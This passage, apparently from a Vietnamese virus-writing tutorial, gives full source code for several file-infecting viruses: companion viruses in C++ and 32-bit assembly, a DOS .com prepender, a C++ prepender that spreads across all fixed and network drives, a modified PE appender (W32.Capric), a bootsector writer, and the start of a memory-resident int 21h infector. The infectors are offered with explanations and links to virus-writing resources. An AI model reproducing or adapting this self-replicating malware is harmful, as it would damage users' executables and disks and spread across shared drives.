end;

until findnext(FU)<>0; // Lặp lại cho đến khi không tìm thấy file nào

end;

end.

------------------ end of W32.Lamer-----------------------------

Hì hì, bạn sẽ được xem qua phương thức lây nhiễm thứ 2:

;===============================================================

Section II: Simple Companions

;===============================================================

Chúng ta sẽ có một con Companions , nó là khởi thủy của PREPENDER/APPENDER Virii. Một con virii viết bằng c++ và một viết bằng 32-bit assembler.

Virus được thảo luận: W32.BeMyFriend:

-----------------------start of W32.BeMyFriend---------------------

// W32.BeMyFriend by Zerogue

#include

using namespace std;

char VirusFilename[MAX_PATH];

DWORD oldattrib; // biến để lưu trữ thuộc tính cũ của file

char mycompanion[MAX_PATH];

int companion(char filenametocompanion[MAX_PATH])

{

char newername[MAX_PATH];

oldattrib = GetFileAttributes(filenametocompanion); // chộp lấy thuộc tính hiện tại

SetFileAttributes(filenametocompanion,FILE_ATTRIBUTE_NORMAL); // đặt lại thành normal

strcpy(newername,filenametocompanion);

strcat(newername,"P$.exe");

CopyFile(filenametocompanion,newername,0); // copy file cũ đến P$.exe

CopyFile(VirusFilename,filenametocompanion,0); // copy virus đến file cũ

SetFileAttributes(newername,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM); //ẩn victim

SetFileAttributes(filenametocompanion,oldattrib); // trả lại thuộc tính

}

int main(int argc, char *argv[])

{

GetModuleFileName(0, VirusFilename, sizeof(VirusFilename)); // get our name

HANDLE hFind;

WIN32_FIND_DATA FindData;

hFind = FindFirstFile("*.exe",&FindData); // find all files in the current dir

do

{

companion(FindData.cFileName); // companionize

} while (FindNextFile(hFind,&FindData));

strcpy(mycompanion,VirusFilename);

strcat(mycompanion,"P$.exe");// P$.exe == companion

ShellExecute(0,"open",mycompanion,NULL,NULL,SW_SHOWNORMAL);

return EXIT_SUCCESS;

}

-----------------------end of W32.BeMyFriend---------------------

Và sau đây là một virii asm 32bit đặc trưng:

----------------------start of W32.FireBug--------------------------

.386

.model flat

Extrn ExitProcess :PROC

Extrn FindFirstFileA :PROC

Extrn FindNextFileA :PROC

Extrn ExitProcess :PROC

Extrn WinExec :PROC

Extrn CopyFileA :PROC

Extrn SetFileAttributesA :PROC

Extrn GetFileAttributesA :PROC

Extrn lstrcpyA :PROC

Extrn GetCommandLineA :PROC

.data

Signature db "[W32.firebug by Nomenumbra AkA ZeRogue]",0

FILETIME STRUC

FT_dwLowDateTime dd ?

FT_dwHighDateTime dd ?

FILETIME ENDS

WIN32_FIND_DATA label byte

WFD_dwFileAttributes dd ?

WFD_ftCreationTime FILETIME ?

WFD_ftLastAccessTime FILETIME ?

WFD_ftLastWriteTime FILETIME ?

WFD_nFileSizeHigh dd ?

WFD_nFileSizeLow dd ?

WFD_dwReserved0 dd ?

WFD_dwReserved1 dd ?

WFD_szFileName db 260d dup (?)

WFD_szAlternateFileName db 13 dup (?)

WFD_szAlternateEnding db 03 dup (?)

FileMask db '*.exe',0

FindHandle dd 0

oldattr dd 0

VirusFile db 260d dup (0)

HostFile db 260d dup (0)

HostCopy db 260d dup (0)

.code

start:

call ARGV0

push offset VirusFile

push offset HostFile

call lstrcpyA

mov esi,offset HostFile

call GetPoint

mov dword ptr [esi],5359532Eh ;add .sys , 5359532Eh = .sys

push offset WIN32_FIND_DATA

push offset FileMask

call FindFirstFileA ; findfirst *.exe

mov dword ptr [FindHandle],eax

FindNext:

test eax,eax

jz Tend

call Companionize

push offset WIN32_FIND_DATA

push dword ptr [FindHandle]

call FindNextFileA ; findnext *.exe

jmp FindNext

Tend:

push 5

push offset HostFile

call WinExec ; execute our hostfile

push 0

call ExitProcess

Companionize:

push offset WFD_szFileName

Call GetFileAttributesA ; get old attributes

mov oldattr,eax

push 80h

push offset WFD_szFileName

call SetFileAttributesA ; set to FILE_ATTRIBUTE_NORMAL (0x80)

push offset WFD_szFileName

push offset HostCopy

call lstrcpyA

mov esi,offset HostCopy

call GetPoint

mov dword ptr [esi],5359532Eh ;set companion name to .sys

push 1

push offset HostCopy

push offset WFD_szFileName

call CopyFileA ; copy host

push 6h

push offset HostCopy

call SetFileAttributesA ; set HIDDEN+SYSTEM

push 0

push offset WFD_szFileName

push offset VirusFile

call CopyFileA ; copy virus

push oldattr

push offset WFD_szFileName

call SetFileAttributesA ; restor attributes

ret

ARGV0:

call GetCommandLineA

inc eax

push eax

push offset VirusFile

call lstrcpyA

mov esi,offset VirusFile

call GetPoint

mov dword ptr [esi+4],00000000d ; clear trailing "

ret

GetPoint: ; GetPoint function by DiA

cmp byte ptr [esi],'.' ;point?

jz FoundPoint ;je return

inc esi ;scan next place

jmp GetPoint

FoundPoint:

ret

ret

end start

----------------------end of W32.FireBug--------------------------

Con virii này khá là lâm ly heng, Nó có thể bị reverse một cách dễ dàng, và khi chúng ẫn cũng vẫn có thể bị phát hiện.

;===============================================================

Section III: Simple Prependers

;===============================================================

Nếu như bạn thật sự bình tĩnh, thì tôi sẽ cho bạn một ví dụ đơn giản về sự lây nhiễm file .com bằng assembler và Win32 với C++ bằng Phương pháp PrePENDER:

----------------- start of ANARCHISM666 ------------------------

;===============================

;ANARCHISM666 PREPENDER

;BY Zerogue

;===============================

start:

JMP virus_start ; goto start, no errors because of this infection mark

db 'QQ' ;Infection Mark, we don't want to infect ourselves, do we?

virus_start:

call get_offset ; this technique is to get the delta-offset, the delta offset is 0 if we are not prepended

get_offset:

pop bp ; we need to store the delta-offset in bp, so we can add it to any offset we use, this is called

sub bp,get_offset ; relative adressing

cmp bp,00

je infecting ; if this is the first time (not prepended), we will just infect right away

mov si, offset [bp+begin] ; read them from the files relative begin

add si,bp ; add delta offset

mov di,0100h ; store them at the viral start

mov cx,05 ; set looplength 5 (5 bytes to read)

rep movsb ; ds:[si] -> es:[di]

infecting:

mov ah,1ah

mov dx,offset dta

add dx,bp ; relative adressing

int 21h

mov ah,4eh ; findfirst

mov dx,offset find_me ; find *.com

add dx,bp ; relative adressing

int 21h

jc done3 ; on error go away

jmp open ; open file

new_file:

mov ah,3eh

mov bx,[bp+handle]

int 21h

find_next:

mov ah,4fh

int 21h

jc done3

open:

cmp word ptr [bp+ File_size+2],00

je size_ok ; If it's small enough continue

jmp Find_next ;else other file

size_ok:

mov si,offset file_name ;check if we are infecting command.com, we don't want that do we, it would attract ;attention

add si,bp ;Let's check if command.com

mov di,offset COM_BUF

add di,bp

mov cx,11

rep cmpsb

je Find_next ;yep, too bad

; No, Not COMMAND.com, Continue

mov ax,03d02h ;open file for read/write

mov dx,offset file_name ;dx-> filename

add dx,bp

int 21h

done3:

jc done

mov [bp+handle],ax

mov ah,3fh ; read

mov cx,05 ; first five bytes

mov bx,[bp+handle]

mov dx,offset begin

add dx,bp

int 21h

cmp ax,05

jl new_file

cmp word ptr [bp+Begin+3],'QQ' ;Check if infected

je new_file

mov ax,4202h

mov bx,[bp+handle]

xor cx,cx ; set to 0 by xoring with oneself

xor dx,dx

int 21h

jc done

sub ax,03

mov word ptr [bp+new_jump1],ax

mov ah,40h ;write

mov cx,offset virus_end ; length is virusend-virustart

sub cx,offset virus_start

mov dx,offset virus_start ; from virusstart

add dx,bp ;relative adressing

int 21h

jc done

jmp calling

calling: call begin_file

mov ah,40h

mov cx,05 ; write infection marker

mov dx,offset new_jump

add dx,bp

int 21h

mov ah,3eh

mov bx,[bp+handle]

int 21h

jmp find_next

done:

call effect

cmp bp,00

je done2

mov di,0100h

jmp di

done2: int 20h

begin_file:

mov ax,4200h

mov bx,[bp+handle]

xor cx,cx

xor dx,dx

int 21h

jc done

ret

effect:

ret

dta: db 0

search_template: db 11 dup (0)

search_attribute: db 0

entry_count: db 0,0

cluster_start_ofparent_dir: db 0,0

reserved: db 0,0,0,0

attrib_found: db 0

file_time: db 0,0

file_date: db 0,0

file_size: dw 00,00

file_name: db 13 dup (0)

find_me: db '*.com',0

handle dw 0

begin: db 00h,00h,00h,00h,00h

buffer: db 00,00,00

new_jump: db 0e9h

new_jump1: dw 00

infect_marker: dw 'QQ'

COM_BUF: db 'COMMAND.COM'

virus_end:

----------------- start of ANARCHISM666 ------------------------

Như bạn thấy, con virii này phức tạp hơn nhiều so với w32.TrivialOverwrite và W32.FireBug. Nhưng nó có vẻ kết hợp khá chặt chẽ với chức năng lén lút, âm thầm heng, vì nó sẽ thực thi ngay file bị lây nhiễm ngay sau khi lây nhiễm xong.

Còn đây là Virii với C++:

--------------start of W32.BogImp---------------------------------

// W32.Bogimp by Nomenumbra AkA ZeRogue

#include

char VirusFileName[MAX_PATH]; // viral name

HANDLE VirusFileHandle; // viral handle

HGLOBAL VirusHeap; // viral heap data

LPVOID VirusMemStart; // to hold viral body

unsigned long BytesRead; // to read

unsigned long BytesWrite; // to write

HANDLE HostFileHandle; // for temp file

HANDLE VictimFileHandle; // victim file handle

DWORD VictimSize; // victim size

HGLOBAL VictimMem; // victim heap data

LPVOID VictimMemStart; // to hold victim body

HANDLE NewHandle; // for prepended victim to exec

char InfectionMark[8]; // to hold infection mark 7 + the terminating 0

const int consize = 22783 ; // compiled size in bytes of this virus

const char InfMark[] = "BogimpX"; // Infection Mark

DWORD VirusSize; // total size (prepended + virus)

char PrependedName[MAX_PATH];

DWORD OldAttribs;

void initialize()

{

GetModuleFileName(0, VirusFileName, sizeof(VirusFileName)); // get our name

VirusSize = GetFileSize(VirusFileHandle, 0); // get our total size (virus + host)

}

void extractownhost(DWORD hostlen)

{

strcpy(PrependedName,VirusFileName);

strcat(PrependedName,"P$.exe");

NewHandle = CreateFile(PrependedName, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); // create file to write prepended bastard to

SetFileAttributes(PrependedName,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM); // hide it

SetFilePointer(NewHandle, 0, 0, FILE_BEGIN);

WriteFile(NewHandle,VictimMemStart,hostlen,&BytesWrite,0); // write host

CloseHandle(NewHandle);

return;

}

void execourhost()

{

GetModuleFileName(0, VirusFileName, sizeof(VirusFileName)); // get our name

NewHandle = CreateFile(VirusFileName, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);

SetFilePointer(NewHandle, consize, 0, FILE_BEGIN); // start reading host from the end of the real viral size (thus the begin of //the host)

ReadFile(NewHandle,VictimMemStart,VirusSize - consize-7, &BytesRead, 0); // read (total-virus-signature) = host

CloseHandle(NewHandle);

extractownhost(VirusSize-consize-7); //write our host = total - virus -signature

WinExec(PrependedName,SW_SHOWNORMAL); // exec host

}

void prepend(const char* infile)

{

OldAttribs = GetFileAttributes(infile); // fetch old attributes

SetFileAttributes(infile,FILE_ATTRIBUTE_NORMAL);

VirusFileHandle = CreateFile(VirusFileName, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); // set handle to virus

VirusHeap = GlobalAlloc(GMEM_MOVEABLE, consize); // allocate bytes from heap

VirusMemStart = GlobalLock(VirusHeap); //set data to hold viral body

ReadFile(VirusFileHandle, VirusMemStart, consize, &BytesRead, 0); // read body (constant size, since the viral size stays constant

CloseHandle(VirusFileHandle); // close our handle

VictimFileHandle = CreateFile(infile, GENERIC_READ + GENERIC_WRITE, FILE_SHARE_READ + FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); // this is our victim

VictimSize = GetFileSize(VictimFileHandle, 0); // filesize

VictimMem = GlobalAlloc(GMEM_MOVEABLE, VictimSize); // allocate bytes from heap

VictimMemStart = GlobalLock(VictimMem); // set data for victim body

SetFilePointer(VictimFileHandle, (VictimSize - 7), 0, FILE_BEGIN); // set to 7 bytes before end of file

ReadFile(VictimFileHandle, InfectionMark, 7, &BytesRead, 0); // read 7 bytes

if (lstrcmp(InfectionMark,InfMark) == 0) // if bytes are signature (if file is already infected)

{

return;

}

SetFilePointer(VictimFileHandle, 0, 0, FILE_BEGIN); // set to begin of file

ReadFile(VictimFileHandle, VictimMemStart, VictimSize, &BytesRead, 0); // read victim

CloseHandle(VictimFileHandle); // close handle

HostFileHandle = CreateFile("penor.exe", GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); // write it to temp file that will contain prepended victim

SetFilePointer(HostFileHandle, 0, 0, FILE_BEGIN); // set to begin of file

WriteFile(HostFileHandle, VirusMemStart, consize, &BytesWrite, 0); // write virus

WriteFile(HostFileHandle, VictimMemStart, VictimSize, &BytesWrite, 0); // write host

WriteFile(HostFileHandle,InfMark,7,&BytesWrite,0); // write infection mark

CloseHandle(HostFileHandle); // close handle

CopyFile("penor.exe",infile,0); // overwrite victim

DeleteFile("penor.exe"); // delete temp file

SetFileAttributes(infile,OldAttribs);

return;

}

void infectdir(char drive[4],char* directory,int typea)

{

HANDLE hFind;

char infd [MAX_PATH];

WIN32_FIND_DATA FindData;

strcpy(infd,directory); // directory

strcat(infd,"*.*"); // add *.*

// Find Subdirs

if (typea != 1) // if not a spawn

{

hFind = FindFirstFile(infd,&FindData);

do

{

if (FindData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) // search for subdirs

{

strcpy(infd,drive);

strcat(infd,FindData.cFileName);

strcat(infd,"\\"); // add a trailing backslash

infectdir(drive,infd,1); // spawn a search there

}

} while (FindNextFile(hFind,&FindData));

}

// Find ExeFiles

strcat(directory,"*.exe");

hFind = FindFirstFile(directory,&FindData);

do

{

prepend(FindData.cFileName); // prepend the fucker

} while (FindNextFile(hFind,&FindData));

return;

}

void DriveHopper()

{

char dir[3];

for (int i = 67;i!=90;i++)

{

dir[0] = char(i); // drives C to Z

dir[1] = ':';

dir[2] = '\\';

dir[3] = 0;

if (GetDriveType(dir) == DRIVE_FIXED || DRIVE_REMOTE) // if a shared network-drive or fixed drive we infect it

infectdir(dir,dir,0);

}

return;

}

int main(int argc, char *argv[])

{

initialize(); // get our filename and size

DriveHopper(); // hop the drives

if (VirusSize > consize) // if our size > real viral size we are prepended

execourhost(); // and execute our host

return EXIT_SUCCESS;

}

--------------end of W32.BogImp---------------------------------

Ok, bạn vừa mới thấy một con PREPENDER 16bit bằng asm và c++. Trông cũng có vẻ ngon lành. Nhưng trong tương lai xa, tôi sẽ dùng asm 32 bit asm thì sẽ hiệu quả hơn. Trước khi đọc tiếp nguồn (đã chỉnh sửa W32.Capric, vì tôi đã rút phần mã để mã hóa và giải mã rồi), tôi đề nghị bạn nên đọc thêm tài liệu sau:

http://www.madchat.org/vxdevl/vdat/tuiwin32.htm ; Nice PE header documentation

http://www.madchat.org/vxdevl/vdat/tumisc70.htm ; Good PE infection/header documentation

http://www.madchat.org/vxdevl/vdat/tuappend.htm ; Nice documentation of steps to take before infection, is buggy though

http://www.madchat.org/vxdevl/vdat/tumisc45.htm ; 29A's abstract concept of PE infection

OK, giờ thì bạn đẽ hiểu abstract concept là thế nào? PE header là gì? Và những phương thức lây nhiễm?

Ừm, vì vậy bạn sẽ hiểu vì sao chúng ta không import trực tiếp các API như thế này:

EXTRN MyApi :PROC

Nhưng chúng ta sẽ load chúng một cách linh họat. Ừm, con virii này sẽ tìm ra Imagebase của kernel32.dll (để có thêm thông tin các bạn có thể đọc thêm thông tin tại đây:

http://www.madchat.org/vxdevl/vdat/tuwin32m.htm#3). Sau khi làm như vậy, các bạn sẽ tìm ra được địa chỉ ImageBase dưới dạng DWORD. Mỗi lời gọi, địa chỉ , thậm chí là biến cũng được xem xét với giá trị delta handle (ebp). Delta handle Có thể được chộp bằng cách sau:

call Delta

Delta:

pop ebp

sub ebp,offset Delta

Nếu chúng ta không được PREPENDED (lần đầu) thì Delta handle luôn là 0. Đây là điều tốt , bởi vì với cách này chúng ta có thể nhảy đến host với một lệnh jmp. Các bạn từ từ nghiền ngẫm đoạn mã heng.

---------------------------------------start of W32.Capric (Modified)-------------------------------

.586p

.model flat, stdcall

extrn ExitProcess:PROC

.code

start:

virsz equ vend-dstart ; viral size

decsz equ vstart-dstart ; delta fetcher's size

dstart:

call delta ; get delta offset (for relative addressing)

delta: pop ebp

sub ebp, offset delta

vstart:

; start out by getting the base-addr of the kernel, (kernel32.dll)

; take a value from stack, dec it till we hit the start of the kernel

mov ebx, [esp]

and ebx, 0ffff0000h

mov ecx, 50h

getkernel32base: cmp word ptr [ebx], "ZM" ; MZ (dos-stub header, in reverse order because of little-endian byte order)

jz short gotkernel32base

sub ebx, 10000h

loop getkernel32base

stc

gotkernel32base: jc retback ; execute host

mov [ebp+kernelbase], ebx

; these change during the infection,

; so save them,

push dword ptr [ebp+tmpep]

pop dword ptr [ebp+oldep]

push dword ptr [ebp+tmpib]

pop dword ptr [ebp+oldib]

; get address of the GetProcAddr API

gAPI:

push ebx

pop edx ; kernelbase in edx

add edx, [edx+3ch]

add edx, 78h

mov edx, [edx]

add edx, ebx ; export table

mov esi, [edx+20h] ; Address of Names (RVA)

add esi, ebx ; ptrs in esi

xor ecx, ecx ; counter

get_GetProcAddr:

inc ecx ; inc counter

lodsd

add eax, ebx ; heya!

cmp [eax], 'PteG'

jnz get_GetProcAddr

cmp [eax+4],'Acor'

jnz get_GetProcAddr

cmp [eax+8],'erdd'

jnz get_GetProcAddr

; got it.

; addr = couter*2, (in ordinals), then result times 4 (in addr)

mov edi, ebx ; kb in edi

mov ebx, [edx+24h]

add ebx, edi

movzx ecx, word ptr [ebx+2*ecx]; counter*2 +addr of ordinals

sub ecx, [edx+10h]

mov ebx, [edx+1Ch]

add ebx, edi ; VA

mov edx, [ebx+4*ecx] ; oye

add edx, edi

mov dword ptr [ebp+aGetProcAddr], edx

; got it.

; gAPIs: ebx = kernelbase, esi = apis,

; edi = place 2 store addr.

; get apis from kernel32.dll

mov ebx, [ebp+kernelbase]

lea esi, [ebp+k32APIs]

lea edi, [ebp+k32APIa]

call gAPIs

; find files, (only current dir) and infect them

; (2 PE-files at a time)

call findNinf

; ret back

cmp ebp,0 ; if ebp (delta handle) = 0, we are first generation and have no host

je exit1stgen

retback:

mov eax, [ebp+oldep]

add eax, [ebp+oldib]

jmp eax ; jump to hosts real entrypoint

; -----------------

; findNinf routine, finds file(s), then jumps to preinf

; and opens & maps it, then checkfile and at last infectFile

findNinf:

; open current dir.

lea edi, [ebp+currdir]

call [ebp+aGetCurrentDirectoryA],7Fh,edi

; get other dirs...

call infectDir

ret

infectDir:

mov byte ptr [ebp+infcounter], ninfections

lea eax, [ebp+exemask] ; *.exe

call findFile

mov byte ptr [ebp+infcounter], ninfections

lea eax, [ebp+scrmask] ; *.src

call findFile

ret

; find one file, (get search handle)

findFile:

lea ebx, [ebp+searchData]

call [ebp+aFindFirstFileA],eax,ebx

; save search-handle

mov [ebp+searchHndl], eax

jmp preinf

; find more files

findFiles:

; clear out old filename

xor eax, eax

lea edi, [ebp+searchData.wfd_FileName]

mov ecx, 260

rep stosb

; find more files

lea eax, [ebp+searchData]

call [ebp+aFindNextFileA],[ebp+searchHndl],eax

or eax, eax

jz CloseSearchHndl ; no more, close handle

; "prepare" found file, open, map

preinf:

cmp byte ptr [ebp+infcounter], 0

jz CloseSearchHndl

lea esi, [ebp+searchData.wfd_FileName]

; set fileattributes to "any file"

call [ebp+aSetFileAttributesA],esi,80h

; open file, existing rw

call [ebp+aCreateFileA],esi,0C0000000h,0,0,3,0,0

inc eax

jz findFiles

dec eax

mov [ebp+fileHndl], eax

; first map to only check the header

mov ecx, 040h

call mapit

checkFile:

; check if MZ-sign

cmp word ptr [eax], 'ZM' ; dos stub

jnz demapfile

mov esi, [eax+3Ch]

add esi, eax

; check PE-sign

cmp dword ptr [esi], 'EP' ; portable executable?

jnz demapfile

; check if already infected

cmp byte ptr [esi+3Bh], 'X' ; infection mark (a stupid X)

jz demapfile

; oh, a nice file (or is it?), infect it

; first close the maphandle

call [ebp+aUnmapViewOfFile],[ebp+mapAddr]

call [ebp+aCloseHandle],[ebp+mapHndl]

; now map the file + extra

mov ecx, [ebp+searchData.wfd_FileSizeLow]

add ecx, virsz+1000h

call mapit

jmp infectFile ; infect file

; mapping routine, ecx holds how much to map

mapit:

push ecx

call [ebp+aCreateFileMappingA],[ebp+fileHndl],0,4,0,ecx,0

or eax, eax

jz closefile

mov [ebp+mapHndl], eax

pop ecx ; how much to map

; mappy, (eax = map-handle)

call [ebp+aMapViewOfFile],eax,2,0,0,ecx

mov [ebp+mapAddr], eax

ret

infectFile:

mov esi, [eax+3Ch]

add esi, eax

mov edi, esi

; get addr of last section

mov ebx, [esi+74h] ; dir-entries

shl ebx, 3 ; * 8 (size)

movzx eax, word ptr [esi+6] ; sections

dec eax ; last one

mov ecx, 28h ; * (size)

mul ecx ; .

add esi, 78h ; dir-table

add esi, ebx ; add them

add esi, eax ; and addr in esi

; addr of last section in esi

; start of pe-hdr in edi

; set section RWE

or dword ptr [esi+24h], 0A0000020h

; save old entrypoint and imagebase

mov eax, [edi+28h]

mov [ebp+tmpep], eax

mov eax, [edi+34h]

mov [ebp+tmpib], eax

; calculate new entrypoint

mov eax, [esi+0Ch] ; VirtualAddress

add eax, [esi+10h] ; SizeOfRawData

mov [ebp+newep], eax ; save virus-entrypoint

mov [edi+28h], eax ;

; get where to write virus

mov ebx, [esi+10h] ; SizeOfRawData

add ebx, [esi+14h] ; PointerToRawData

push ebx ; offset in file of where to write vir

; align the new size to add

xor edx, edx ;

mov eax, [esi+10h] ; SizeOfRawData

add eax, virsz ; add with sizeof vir

push eax ;

mov ecx, [edi+3Ch] ; alignment

div ecx ; eax / ecx, remanining in edx

pop eax ;

sub ecx, edx ;

add eax, ecx ; aligned size in eax

; set new size of section, file

mov [esi+10h], eax ; SizeOfRawData

mov [esi+08h], eax ; VirtualSize

add eax, [esi+0Ch] ; VirtualAddress

mov [edi+50h], eax ; SizeOfImage

; - writing things to file -

pop ebx ; offset in file

mov byte ptr [edi+3Bh],'X' ; infection mark

lea esi, [ebp+dstart] ;

xchg ebx, edi ; phdr in ebx, offset in edi

add edi, [ebp+mapAddr] ; normalize

mov ecx, decsz ;

rep movsb ; write ebp fetcher (Capric was originally an encrypted virus, and this part also was the decrypter)

; now write virus to the file

lea esi, [ebp+vstart]

mov ecx, virsz/4 ; virussize in doublewords (4 bytes)

WriteVirus:

lodsd ; load doubleword from esi (virus body)

stosd ; store doubleword in edi (host file)

loop WriteVirus ; repeat (virsz / 4) times

dec byte ptr [ebp+infcounter]

jmp unmapfile

; to get it right with no-good files

demapfile:

mov ecx, [ebp+searchData.wfd_FileSizeLow]

call [ebp+aSetFilePointer],[ebp+fileHndl],ecx,0,0

call [ebp+aSetEndOfFile],[ebp+fileHndl]

; unmap and close file

unmapfile: call [ebp+aUnmapViewOfFile],[ebp+mapAddr]

closemap: call [ebp+aCloseHandle],[ebp+mapHndl]

closefile: call [ebp+aCloseHandle],[ebp+fileHndl]

; set back the original fileattributes

setdefattrib:

lea eax, [ebp+searchData.wfd_CreationTime]

lea ebx, [ebp+searchData.wfd_LastAccessTime]

lea ecx, [ebp+searchData.wfd_LastWriteTime]

call [ebp+aSetFileTime],[ebp+fileHndl],eax,ebx,ecx

lea eax, [ebp+searchData.wfd_FileName]

call [ebp+aSetFileAttributesA],eax, \

[ebp+searchData.wfd_FileAttributes]

; find more files

jmp findFiles

CloseSearchHndl:

call [ebp+aFindClose], [ebp+searchHndl]

findDone:

ret

; Gets apis from dlls usings GetProcAddr

gAPIs: ; ebx = dll to get from, esi = ptr to api-name, edi = save .

push esi

push ebx

call dword ptr [ebp+aGetProcAddr]

test eax, eax

jz gexit

stosd

g1: ; get next api

inc esi

cmp byte ptr [esi], 0

jnz g1

inc esi

cmp byte ptr [esi], 0FFh ; end of 'em

jnz gAPIs

gexit:

ret

; DATA --------------------------------------------------------

filetime STRUC ; filetime structure

ft_dwLowDateTime dd ?

ft_dwHighDateTime dd ?

filetime ENDS ;

win32_find_data STRUC

wfd_FileAttributes dd ?

wfd_CreationTime filetime ?

wfd_LastAccessTime filetime ?

wfd_LastWriteTime filetime ?

wfd_FileSizeHigh dd ?

wfd_FileSizeLow dd ?

wfd_Reserved0 dd ?

wfd_Reserved1 dd ?

wfd_FileName dd 260 dup(?)

wfd_AlternateFileName dd 13 dup(?)

dd 3 dup(?) ; padding

win32_find_data ENDS

searchData win32_find_data ?

searchHndl dd 0

exemask db "*.EXE",0

scrmask db "*.SCR",0

currdir db 7Fh dup (0)

ninfections equ 8

infcounter db ninfections

fileattr dd 0

fileHndl dd 0

mapHndl dd 0

mapAddr dd 0

kernelbase dd 0

user32dll db 'USER32.DLL',0

newep dd 0

oldep dd 01000h

tmpep dd 0

oldib dd 0

tmpib dd 0

; APIs .

sGetProcAddr db 'GetProcAddr',0

aGetProcAddr dd 0

k32APIs:

sLoadLibraryA db 'LoadLibraryA',0

sExitProcess db 'ExitProcess',0

sCreateFileA db 'CreateFileA',0

sCloseHandle db 'CloseHandle',0

sFindFirstFileA db 'FindFirstFileA',0

sFindNextFileA db 'FindNextFileA',0

sFindClose db 'FindClose',0

sSetFilePointer db 'SetFilePointer',0

sSetEndOfFile db 'SetEndOfFile',0

sSetFileAttributesA db 'SetFileAttributesA',0

sSetFileTimeA db 'SetFileTime',0

sGetCurrentDirectoryA db 'GetCurrentDirectoryA',0

sCreateFileMappingA db 'CreateFileMappingA',0

sMapViewOfFile db 'MapViewOfFile',0

sUnmapViewOfFile db 'UnmapViewOfFile',0

db 0FFh

k32APIa:

aLoadLibraryA dd 0

aExitProcess dd 0

aCreateFileA dd 0

aCloseHandle dd 0

aFindFirstFileA dd 0

aFindNextFileA dd 0

aFindClose dd 0

aSetFilePointer dd 0

aSetEndOfFile dd 0

aSetFileAttributesA dd 0

aSetFileTime dd 0

aGetCurrentDirectoryA dd 0

aCreateFileMappingA dd 0

aMapViewOfFile dd 0

aUnmapViewOfFile dd 0

vend: ; the end of virus

; 1st Generation .

exit1stgen:

call ExitProcess,0

end start

---------------------------------------end of W32.Capric (Modified)--------------------------------

;===============================================================

Section IV: Bootsector Virii

;===============================================================

Bootsector virii là virii sẽ ghi mã của nó vào trong bootsector của đĩa cứng hoặc đĩa mềm dưới dạng thô, VÌ thế nó sẽ được khởi động khi CMOS chuyển quyền điều khiển tới mã trong vị trí đĩa cứng đựơc xác định. Một con BOOTSECTOR đơn giản "trivialboot":

---------------------------------start of TRIVIALBOOT-------------------------------

.model small

.code

ORG 100H

START: call TRIV_BOOT ;loader just calls the virus

ret ;and exits to DOS

ORG 7C00H ; Originate at master boot

TRIV_BOOT:

mov ax,0301H ;write one sector

mov bx,7C00H ;from here

mov cx,1 ;to Track 0, Sector 1, Head 0

mov dx,1 ;on the B: drive

int 13H ;do it

mov ax,0301H ;do it again to make sure it works, a second write is required because of potential bugs

int 13H ; bios interrupt 13H required, dos interrupts won't work since the OS is not yet loaded.

ret ;and halt the system

END START

---------------------------------end of TRIVIALBOOT-------------------------------

Con này sẽ kiểm tra ổ cứng, ổ mềm rồi thực hiện lây nhiễm trên đó.

///////////////----------------------------------------------------------------\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

| Section B: Basic Steath |

///////////////---------------------------------------------------------------\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Stealth là gì, tôi đã giải thích cho các bạn biết khá rõ ràng về nó rồi đấy hỉ, nó sẽ phần mã giúp chi virii tồn tại được lâu hơn. Kỹ thuật đầu tiên mà tôi nói đến là kỹ thuật thường trú bộ nớ. Ai không biết về Asm, bạn hãy bỏ qua phần này heng:

;===============================================================

Section I: Memory-Residency

;===============================================================

Memory-Resident virii sẽ dịch chuyển chúng vào phân đoạn bộ nhớ cao của DOS,Ví dụ: Việc dùng interrupt và chờ đến khi có một điều kiện xảy ra. Con virrii này chỉnh sửa interrupt 21h và chờ một file được mở, sau đó lây nhiễm chúng.

Con virii này đã đựơc chỉnh sửa cho đơn giản một chút SEQUIN virus bởi Mark Ludwig, Sự khác biệt chính là tôi đã thêm vào một thông điệp chú ý khi mà virus bị lây nhiễm một file.

----------------------start of AMNESIA/ SEQUIN------------------------------

.model tiny

.code

MESTART EQU 100H

ORG 100H

;đây là phần mã sẽ kiểm tra xem virii có trong bộ nhớ chưa

AMNESIA:

call IN_MEMORY ;is the virus already in memory?

jz EXEC_HOST ;if so, then execute the hostpart

mov di,MESTART + 100H ;no? then put it in memory

mov si,100H

mov cx,OFFSET END_AMNESIA - 105H

rep movsb ;move it in the memory.

mov bx,21H*4 ;setup interrupt vector int 21H

xchg ax,es:[bx+2] ;get/set segment of int 21H

mov cx,ax

mov ax,OFFSET INT_21 + MESTART

xchg ax,es:[bx] ;get/set offset

mov di,OFFSET OLD_21 + IVOFS ;ave old seg/offset

stosw ;store as word at di

mov ax,cx

stosw ;virus is resident

;đoạn mã này thực thi host bằng việc dịch chuyển 5 bytes được lưu trong

;HSTBUF offset 100H (virusstart) và chuểyn điều khiểnnđến nó.

EXEC_HOST:

push ds ;restore es register

pop es

mov si,bp

add si,OFFSET HSTBUF - 103H

mov di,100H

push di

mov cx,5

rep movsb

ret

;Kiểm tra xem virii có trong bộ nhớ hay chưa bằng cách so sánh

; 10 bytes đầu của int 21H handler

IN_MEMORY:

xor ax,ax ;make es segment = 0

mov es,ax

mov di,OFFSET INT_21 + MESTART ;di contains viral start

mov bp,sp ;get absolute return adress

mov si,[bp] ;to si

mov bp,si ;save it in bp

add si,OFFSET INT_21 - 103H ;point to int 21H handler here

mov cx,10 ;compare 10 bytes

repz cmpsb

ret

;đoạn mã sẽ hooked 21H handler. Nó kiểm tra có file mở hay không, nó sẽ lây nhiễm lên file được mở (tên file sau đó sẽ được lưu trong thanh ghi dx).

OLD_21 DD ?

INT_21:

cmp ah,3DH ;opening a file?

